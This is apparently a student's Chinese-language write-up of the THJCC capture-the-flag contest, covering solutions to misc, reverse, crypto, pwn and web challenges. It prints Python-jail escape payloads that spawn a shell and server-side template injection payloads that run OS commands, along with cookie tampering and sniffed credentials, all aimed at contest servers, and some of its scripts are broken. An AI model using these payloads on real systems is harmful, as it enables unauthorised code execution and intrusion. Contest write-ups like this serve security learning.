# THJCC CTF writeup
###### tags: `CTF` `資安`
:::warning
我是 THJCC_ffting 啦
第一次參加這種個人賽好興奮RRRRRR
最後拿了21名!

:::
## Welcome
### Welcome 0x1
1. 找到前半段flag在題目分數下面
2. 後半flag在規則最下面


🧊心得:
這題是我在高鐵上用手機解的哈哈哈哈 ((那天去台南比女婕思
找第二段只花5秒鐘,但找第一段找了大概5分鐘
### Discord 0x1
1. 用機器人指令 `/cat`,發現可以填檔案名稱
2. 直接`/cat flag.txt`,找到第二段flag
~~((其實我順便把其他檔案都看了一遍~~
3. 找找其他地方
4. 發現身分組有第三段flag
5. 發現封面有第一段flag


🧊心得:
這也是在高鐵上解的><
因為上過OsGa開的Discord Bot所以最快找到的是藏在指令的哈哈哈
大概過了3分鐘後才找到身分組也藏了flag
又過了不知道多久突然發現自己是眼殘,最大的居然最晚看到
## Misc
### 原神帳號外流
1. 用wireshark打開封包
2. 找出有關login的資訊
3. 找到
- Curios : yyds
- H3llo_W0r1d : Meowmeow
- dkri3c1111111111111@123123 : qqqqq
- admin404 : 404notfound
- HaHaHahAAAA : asdfdfdaadf
- Frieren : B3stan1me
4. 用`Frieren : B3stan1me`成功登入,拿到flag

🧊心得:
其實這是我第一次用wireshark,總之就是找到之後都試試
化學老師教我們寫這種題目的時候要從最後一個往前檢查
~~所以其實我一開始就找到了~~
### 出題者大合照
直接照著這個文章做
https://ithelp.ithome.com.tw/m/articles/10278964

🧊心得:
我一開始把他丟去[fotoforensics](https://fotoforensics.com/),結果什麼都沒有
後來看提示才解出來,又學到一個酷工具了!
### PyJail-0
題目:

1. 先看一下 server.py,發現可以輸入東西
2. googe一下pyjail相關的東西
3. 找到可以輸入 `__import__('os').system('sh')`拿到shell
4. ls看有什麼酷東西
5. 發現flag.txt,把它cat出來

🧊心得:
超酷的東西,第一次遇到欸哈哈哈哈
原來`eval(a)`,當a輸入是程式碼的時候可以執行它
### GeoGuessor
1. 看到了一個超大電話號碼
2. google一下,找到這間補習班
3. 再用google map看一下經緯度

🧊心得:
我經緯度打錯超多次><
第一次直接複製google map的,然後四捨五入但它好像太精確了
第二次跟上面一樣,但改成無條件捨去,還是沒過
後來直接照著預覽的打,無條件捨去就過了
### I want to go to Japan
1. 直接google關鍵字`shrine seira yunokawa`
2. 找到神社名字
3. 再用google map看一下經緯度

🧊心得:
這題跟上一題差不多,但這題感覺比較簡單(?)
### PyJail-1
題目:

1. 看一下程式碼,發現有字數限制,只能輸15個字
2. 沒辦法input我想要input的東西就再創造一個可以input的地方
3. 輸入`eval(input())`
4. 再輸入一次`__import__('os').system('sh')`拿到shell
5. 一樣ls之後看到flag.txt再把它cat出來

🧊心得:
經過了pyjail-0的歷練,~~我現在已經可以成熟的找到payload了~~
### Evil Form
1. 打開F12,看到第一段flag

2. base64解碼,拿到第三段flag

3. 看到眼睛痛,把它丟去可以變好看的地方

4. 用[線上工具](https://www.dcode.fr/cipher-identifier)找一下怎麼解碼,他說是ROT-47 Cipher

5. 一樣用工具解碼,拿到第二段flag
(直接點上一個步驟的ROT-47 Cipher他就會帶你過去解碼的地方了)

🧊心得:
第一跟第三段超快就解完,但第二段卡超久
一開始沒有把它變漂亮就查到它unicode過
`w24<<<<E96 --> w24\u003c\u003c\u003c\u003cE96`
但又看不出來`w24<<<<E96`可以變什麼
後來才找到dcode.fr居然有cipher identifier的功能
所以就成功解出來了!
## Reverse
### BabyC
題目:

1. 先看程式碼找出判斷方式
2. 再寫個python逆推回去
- 補個簡化過的程式碼
```python=
a=[44, 48, 50, 59, 59, 3, 16, 12, 12, 8, 11, 66, 87, 87, 15, 15, 15, 86, 1, 23, 13, 12, 13, 26, 29, 86, 27, 23, 21, 87, 15, 25, 12, 27, 16, 71, 14, 69, 75, 32, 59, 46, 53, 75, 63, 75, 8, 22, 11, 5]
s = []
for i in a:
s.append(chr(i^120))
flag = "".join(s)
print(flag)
```

🧊心得:
讓我複習了我年久失修的python哈哈哈哈
而且好久沒在powershell上寫程式了,~~果然還是一樣難寫~~
之後我要直接用vim寫(x)
### pyc Reverse
題目:
```python
from FLAG import FLAG
from Crypto.Util.number import bytes_to_long
def xor1(flag):
return flag ^ 124789
def xor2(flag):
return flag ^ 487531
def xor3(flag):
return flag ^ 784523
def xor4(flag):
return flag ^ 642871
def xor5(flag):
return flag ^ 474745
flag = bytes_to_long(FLAG)
count = 0
count += 1
if count == 1:
flag = xor1(flag)
count += 2
if count == 3:
flag = xor2(flag)
count += 1
if count == 4:
flag = xor3(flag)
count -= 2
else:
flag = xor2(flag)
count += 1
else:
flag = xor3(flag)
count += 5
if count == 2:
flag = xor4(flag)
elif count == 6:
flag = xor5(flag)
print(flag)
flag = 10730390416708814647386325276467849806006354580175878786363505755256613965929606057246313695
```
1. 先丟線上工具看原程式碼
[Python Source Code Compile and Decompile Online](https://www.lddgo.net/en/string/pyc-compile-decompile)
2. 照著程式碼邏輯逆推回去
- 補個簡化過的程式碼
```python=
題目給的xor函數們記得抓進來
flag = 10730390416708814647386325276467849806006354580175878786363505755256613965929606057246313695
FLAG = long_to_bytes(xor1(xor2(xor3(xor4(flag)))))
print(FLAG)
```

🧊心得:
第一次去參加女婕思的時候好像也遇到過類似的題目
但那時候什麼都不知道,我感受到我進步了哈哈哈哈哈
好久沒寫reverse的題目了,快樂!
## Pwn
### nc
1. nc連進題目給的 `23.146.248.36 30000`
2. 照著它問的給他答案 `Rick Astley`

🧊心得:
大家應該都會nc吧
話說我那時候還有點不敢點進網址哈哈哈哈
((我那天才知道原來Rick的全名長這樣
## Crypto
### 博元婦產科
1. 題目上那串看起來就是base64編碼過的東西先解碼
2. 跑出一個看起來就是凱薩加密過的東西再解密
3. flag就出來了


🧊心得:
古典密碼學簡簡單單
而且他們都長得一臉我就是base64跟凱薩的樣子
### BabyRSA
~~直接丟線上解密工具~~

🧊心得:
線上工具真好用(?)
其實是因為我本地端一直沒辦法跑要gmpy2跟Cryptodome的程式
正在努力解決中......
<更新> 我成功把它裝在kali上了!
## Web
### Empty
1. 打開F12看到一串base64編碼過的東西
2. 用線上工具解碼,找到前半段flag
3. 發現程式碼標頭好像有藏酷東西
4. 從網址列前往`/Wh4leE4tSh4rk.html`,找到後半段flag



🧊心得:
感覺回到了剛打CTF的時候,回憶都回來了哈哈哈
想當年連base64是什麼都不知道
### Blog
1. 從EMO那篇文章找到看起來可以是密碼的東西
2. 試試看用`帳號:admin;密碼:iloveshark`
3. 成功登入拿到flag

🧊心得:
這題大概是解最快的,比welcome還快,可能不到1分鐘吧
那個iloveshark看起來就是密碼 ((我也不知道感覺從哪裡來
## Insane
## 賽後練習
### Pwn
#### NPCS
題目長相:

解法:
- 感謝 [這位朋友的write up](https://hackmd.io/@hokak/THJCC_CTF_writeup#NPSC) 讓我學會如何用python打競程> <
```python=
from pwn import *
from Cryptodome.Util.number import *
r = remote('23.146.248.36', 30003)
r.recvlines(3)
for i in range(3):
r.recvuntil(f'=============== ROUND 1 ==============='.encode())
for j in range(10):
num = r.recvline().strip()
num = eval(num)
now = 0
max_sum = 0
for k in num:
if num >= k:
num += k
else:
if now > max_sum:
max_sum = now
now = k
if now > max_sum:
max_sum = now
r.sendline(str(num).encode())
print(r.recvline())
r.interactive()
```
🧊心得:
學測前的我一定寫得出來,現在記憶衰退了QAQ
雖然之前都是用C++寫的競程
但這題自己用pyhton應該也寫得出來吧
pwntools也會用,我真的覺得我!可!以!
### Web
#### Simplify
1. 直接用F12把cookie從test改成admin
2. 去看source code
3. 他教我用SSTI去RCE他 ~~((人真好~~
4. 先試試看怎麼用,發現改網址列有點東西
5. 一樣找到payload然後丟上去 ((放在網址列@後面
```
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
```
5. 看到有個檔案叫flag,把它cat出來
```
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("cat flag").read() }}
```

🧊心得:
我跑去用Burp Suite看,然後改了cookie,結果那是別題的==
### Reverse
#### :baseball:
1. 丟ida到處亂看,看到走進miss裡面會印出flag
2. 看一下main,知道直接把jnz改成jz就好
----------比賽的時候卡在不會用ida 笑死----------
3. 要怎麼改呢?
- google學一下,原來是用Edit/Patch program/Change bytes
5. 把代表jnz的75改成代表jz的74
6. 改完之後怎麼把它搞回原執行檔呢?
- 用Edit/Patch program/Apply patches to input files
7. 下一個問題是在windows是要怎麼執行?
- `scp 本地檔案位址 kali@[ip]:要存到kali的位址`
- 傳過去之後在kali上執行,成功耶呼!


🧊心得:
在比賽的時候我應該直接去查怎麼用ida的
居然就直接跳過然後忘記回來解了QAQ
#### Not Apple
照慣例先感謝 [這位朋友的write up](https://hackmd.io/@hokak/THJCC_CTF_writeup#Not-Apple) 還有 [Huli大大的文章](https://blog.huli.tw/2023/04/27/android-apk-decompile-intro-1/) , 教會我分析apk檔
1. apk檔先丟去online decompiler
2. 把拿到的檔案丟進jd-gui
3. 開始漫長的找東西之路
4. 在sources/com/example/thjcc/MainActivity找到真flag的朋友
5. 它說@string/real_flag
7. 所以去resources/res/values/strings.xml找
8. 找到real_flag的真面目


🧊心得:
超酷的,我虛擬機裝著jd-gui但我其實根本沒用過哈哈哈
第一次打apk的reverse,打開檔案的一瞬間我直接被嚇到
這麼多資料夾我是要找到什麼時候
後來看了文章就剛好看到要從哪裡找了,真幸運!
### Crypto
題目:

1. 從題目看出來它的key是從png來的
2. google一下,在[這篇文章](https://crypto.stackexchange.com/questions/88430/how-to-decrypt-two-images-encrypted-using-xor-with-the-same-key)的留言看到好像是用png的固定header
3. 寫個python逆推
- 一樣感謝 [這位朋友的write up](https://hackmd.io/@hokak/THJCC_CTF_writeup#JPGPNG) 讓我可以看到flag本人長怎樣
```python=
from pwn import *
key_hex = "89504e470d0a1a0a" #png的固定header
key = bytes.fromhex(key_hex)
flag = open('enc.txt', "rb").read()
with open("flag.jpg", "wb") as f:
f.write(xor(flag, key))
```
4. 再回到kali把flag.jpg打開

🧊心得:
比賽的時候照著它的加密方法寫了下面那個東西
然後卡住,就跑去解別題了
我真的很不會分它要hex還是bytes之類的
<附錄>
自己先試寫的 ((完全不能跑,key的元素不能丟hex
```python=
from itertools import cycle
def xor(a, b):
return [i^j for i, j in zip(a, cycle(b))]
key = [89, 50, 4E, 47, 0D, 0A, 1A, 0A]
enc = open("enc.txt", "rb").read()
flag = bytesarray(xor(enc, key))
open('ans.jpg', 'wb').write(flag)
```